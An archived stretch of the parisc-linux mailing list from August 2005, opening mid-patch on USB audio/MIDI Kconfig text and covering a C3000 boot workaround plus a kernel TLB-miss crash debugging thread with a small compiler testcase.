+	depends on USB && SOUND_PRIME
 	help
 	  Say Y here if you want to connect USB audio equipment such as
 	  speakers to your computer's USB port. You only need this if you use
-	  the OSS sound driver; ALSA has its own option for usb audio support.
+	  the OSS sound system; ALSA has its own option for USB audio support.
 
 	  To compile this driver as a module, choose M here: the
 	  module will be called audio.
@@ -39,11 +39,13 @@
 	  module will be called bluetty.
 
 config USB_MIDI
-	tristate "USB MIDI support"
-	depends on USB && SOUND
+	tristate "USB MIDI support (OSS)"
+	depends on USB && SOUND_PRIME
 	---help---
 	  Say Y here if you want to connect a USB MIDI device to your
-	  computer's USB port. This driver is for devices that comply with
+	  computer's USB port. You only need this if you use the OSS 
+	  sound system; USB MIDI devices are supported by ALSA's USB 
+	  audio driver.  This driver is for devices that comply with
 	  'Universal Serial Bus Device Class Definition for MIDI Device'.
 
 	  The following devices are known to work:


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aldert E. van der Laan" <aelaan12@rogers.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3000/785 booting past sym0 error
Date: Fri, 12 Aug 2005 16:15:02 -0400
Lines: 178
Approved: news@gmane.org
Message-ID: <20050812200950.1D0877D678@free.linux.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1331033828=="
X-Trace: ger.gmane.org 1416623889 16331 80.91.229.3 (22 Nov 2014 02:38:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:09 +0000 (UTC)
To: "Parisc-Linux list" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2005 20:09:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 12 Aug 2005 22:09:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93B3B7D683;
	Fri, 12 Aug 2005 14:09:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10126-07; Fri, 12 Aug 2005 14:09:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B0357D687;
	Fri, 12 Aug 2005 14:09:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C88647D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 14:09:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10126-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 14:09:50 -0600 (MDT)
Original-Received: from smtp105.rog.mail.re2.yahoo.com (smtp105.rog.mail.re2.yahoo.com
	[206.190.36.83])
	by free.linux.hp.com (Postfix) with SMTP id 1D0877D678
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 14:09:50 -0600 (MDT)
Original-Received: (qmail 92689 invoked from network); 12 Aug 2005 20:09:46 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=rogers.com;
	h=Received:From:To:Subject:Date:MIME-Version:Content-Type:X-Mailer:X-MimeOLE:Thread-Index;
	b=sGrxcWH4Y9ZOdnBAndXZa/KzrxSPuoYKXTFjO2qu91Racc/WdjQdCPh14+QvnvXAxKiDWfm5CzquDE3JHs/6vuJ26H9i9Cr2YIcPGa98iAo2EU/Xass1JsPgJ1TRExLl+OYk9iu+HKAyhW0tJMjfqQcYmCPzV40gL+YAuKwCkm0=
	; 
Original-Received: from unknown (HELO vdlxp09) (aelaan12@rogers.com@70.24.25.57 with
	login)
	by smtp105.rog.mail.re2.yahoo.com with SMTP; 12 Aug 2005 20:09:46 -0000
X-Mailer: Microsoft Office Outlook, Build 11.0.6353
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527
Thread-Index: AcWfeoV1hokXiyImQQ2YawgPIyee7Q==
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QmePYmt/eSEkSr6WZHQhaXN1IGRvb4Br
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23050

This is a multi-part message in MIME format.

--===============1331033828==
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0026_01C59F58.FEDB23C0"

This is a multi-part message in MIME format.

------=_NextPart_000_0026_01C59F58.FEDB23C0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

After finally getting the Sarge 3.1 install to boot by changing / adding the
ramdisk_size=32768 to the IPL I got stuck at the sym0 line.

I hooked up a terminal and removed the USB keyboard and mouse.  It booted
just fine!!  I have now re-attached the USB keyboard and mouse and am
continuing the installation.

 

I really have a hard time finding information on the web about this small
issue and though I would share this.

 

I am also new to putting Linux on a PA-Risc although I have installed many
HP-UX systems.

 

I have been trying to get a Gentoo installation to boot and still face some
issues there; just missing something in the kernel config.

 

This is really neat stuff.

 

 


------=_NextPart_000_0026_01C59F58.FEDB23C0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>After finally getting the Sarge 3.1 install to boot =
by
changing / adding the ramdisk_size=3D32768 to the IPL I got stuck at the =
sym0
line.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I hooked up a terminal and removed the USB keyboard =
and
mouse.&nbsp; It booted just fine!!&nbsp; I have now re-attached the USB =
keyboard and
mouse and am continuing the installation.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I really have a hard time finding information on the =
web
about this small issue and though I would share =
this.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I am also new to putting Linux on a PA-Risc although =
I have
installed many HP-UX systems.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I have been trying to get a Gentoo installation to =
boot and
still face some issues there; just missing something in the kernel =
config.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>This is really neat =
stuff.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0026_01C59F58.FEDB23C0--



--===============1331033828==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1331033828==--




From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Fri, 12 Aug 2005 20:00:50 -0400 (EDT)
Lines: 77
Approved: news@gmane.org
Message-ID: <200508130000.j7D00oKW005186@hiauly1.hia.nrc.ca>
References: <20050812180551.GA32609@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623890 16335 80.91.229.3 (22 Nov 2014 02:38:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:10 +0000 (UTC)
Cc: parisc-linux-bounces@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 00:10:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 13 Aug 2005 02:10:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CEA47D667;
	Fri, 12 Aug 2005 18:09:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11139-02; Fri, 12 Aug 2005 18:09:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E97AA7D66B;
	Fri, 12 Aug 2005 18:09:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3AB427D661
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 18:09:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10447-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 18:09:55 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id EB8D07D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 18:09:54 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 0F96F17050
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 20:09:54 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17768-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 20:09:43 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 07CD41707B; Fri, 12 Aug 2005 20:09:43 -0400 (EDT)
X-IMAP-Sender: kyle
Resent-From: kyle@mcmartin.ca
X-OfflineIMAP-x874440692-52656d6f746546617454697265-494e424f582e4f7574626f78: 1123891727-0804638915125-v4.0.10
Resent-Date: Fri, 12 Aug 2005 20:08:10 -0400
Resent-Message-ID: <20050813000810.GA23545@roadwarrior.mcmartin.ca>
Resent-To: parisc-linux@lists.parisc-linux.org
X-Original-To: parisc-linux-bounces@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B94B67D64A
	for <parisc-linux-bounces@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 18:00:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10447-08
	for <parisc-linux-bounces@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 18:00:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 138157D649
	for <parisc-linux-bounces@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 18:00:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7D00onV005190; Fri, 12 Aug 2005 20:00:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7D00oKW005186;
	Fri, 12 Aug 2005 20:00:50 -0400 (EDT)
In-Reply-To: <20050812180551.GA32609@colo.lackof.org> from "Grant Grundler" at
	Aug 12, 2005 12:05:51 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C1+PYkEgeSEker6WZHQhaXN1IGRvbwCd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23051

> On Fri, Aug 12, 2005 at 09:54:55AM -0400, John David Anglin wrote:
> > ldw instruction at 101068ac has executed.  The sequence of
> > insns starting at 101068ac is the beginning of the epilogue for
> > handle_interruption (register restores and return).  Thus,
> > handle_interruption is going to return to 101068ac.  I don't
> > know but the insn at 101068ac might be generating TLB miss
> > faults.
> 
> Yes, I think we said almost the same thing. You are describing
> the case where we return from the fault and I'm describing
> the case where 101068ac causes the initial fault while
> handling a fault. Sounds like %sp was corrupted since references
> to %sp shouldn't ever fault...unless we went off the end of the stack?
> 
> I'm getting the impression this discussion should happen on
> the parisc-linux mailing list.
> 
> > I will try to set up a testcase.

With 2.6.8.1-pa11, cc1plus generates a SIGSEGV here:

0x00418d98 <ggc_set_mark+0>:    stw rp,-14(,sp)

The backtrace is:

(gdb) bt
#0  ggc_set_mark (p=0x404c12a0) at ../../gcc/gcc/ggc-page.c:1254
#1  0x00109ec0 in gt_ggc_mx_lang_tree_node (x_p=0x404c12a0) at gt-cp-tree.h:69
... [lots more frames]

(gdb) disass gt_ggc_mx_lang_tree_node
Dump of assembler code for function gt_ggc_mx_lang_tree_node:
0x00109e84 <gt_ggc_mx_lang_tree_node+0>:        stw rp,-14(,sp)
0x00109e88 <gt_ggc_mx_lang_tree_node+4>:        stw,ma r7,80(,sp)

(gdb) p/x $sp
$2 = 0xc0700040

So, the frame allocation by gt_ggc_mx_lang_tree_node appears to span
a page boundary and the store into the frame marker by ggc_set_mark
causes a data TLB miss and the SIGSEGV.  This causes the 2.6.13 kernel
to crash in what's apparently an infinite loop involving
handle_interruption.

So, I think the bug is that 2.6.13 (32-bit) crashes when we have a data
TLB miss for an address outside the allowed bounds for the stack.  Probably,
any simple program that recursively allocates stack frames until the
allowed stack size is exceeded will demonstrate the problem.

The C++ program that causes the system crash when compiled with cc1plus
from the GCC head is shown below.  Note that there is a change to GCC's
inlining in 4.1, and 4.0 doesn't cause the SIGSEGV.  My stack limit is
the default 8192 kbytes.  The c3k kernel is default except I had to
disable CONFIG_PDC_STABLE and CONFIG_INFINIBAND.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

// { dg-options "-O2 -ftemplate-depth-20000" }

template <int I>
inline void g() { g<I-1>(); return; }

template <>
inline void g<0>() { int i; return; }

void h() {
  g<250>();
}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crash without pim info
Date: Fri, 12 Aug 2005 19:52:16 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20050813015216.GD32609@colo.lackof.org>
References: <113446137@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623890 16338 80.91.229.3 (22 Nov 2014 02:38:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Berthold Gunreben <b.gunreben@web.de>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 01:47:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 13 Aug 2005 03:47:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41CD17D69C;
	Fri, 12 Aug 2005 19:47:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11933-01; Fri, 12 Aug 2005 19:47:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D29957D682;
	Fri, 12 Aug 2005 19:47:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A2597D64F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 19:46:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11566-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 19:46:56 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 634F07D415
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 19:46:56 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D89D2360066;
	Fri, 12 Aug 2005 19:52:17 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01519-10; Fri, 12 Aug 2005 19:52:16 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 90B84360064; Fri, 12 Aug 2005 19:52:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <113446137@web.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TDSPYgdSeSEkb76WZHQhaXN1IGRvb8DR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23052

On Fri, Aug 12, 2005 at 04:22:50PM +0200, Berthold Gunreben wrote:
> Kernel panic - not syncing: BUG!

that's not much to go on. :^(

...
> I already upgraded the kernel to kernel 2.6.13-rc6-pa1 (compiled with gcc version 3.3.5).

John David Anglin seems to have uncovered what might be causing
such lock-ups on 2.6.13 kernels.  The discussion for this just started.
Can you follow that and try a new kernel once the fix is committed to CVS?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Fri, 12 Aug 2005 23:02:11 -0600
Lines: 87
Approved: news@gmane.org
Message-ID: <20050813050211.GE32609@colo.lackof.org>
References: <20050812180551.GA32609@colo.lackof.org>
	<200508130000.j7D00oKW005186@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623890 16341 80.91.229.3 (22 Nov 2014 02:38:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 04:56:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 13 Aug 2005 06:56:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC98B7D69B;
	Fri, 12 Aug 2005 22:56:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12645-04; Fri, 12 Aug 2005 22:56:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C04A7D697;
	Fri, 12 Aug 2005 22:56:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 996587D692
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 22:56:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12147-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 22:56:51 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 820A67D661
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 22:56:50 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 415AD360066;
	Fri, 12 Aug 2005 23:02:12 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16007-09; Fri, 12 Aug 2005 23:02:11 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CDE40360064; Fri, 12 Aug 2005 23:02:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200508130000.j7D00oKW005186@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
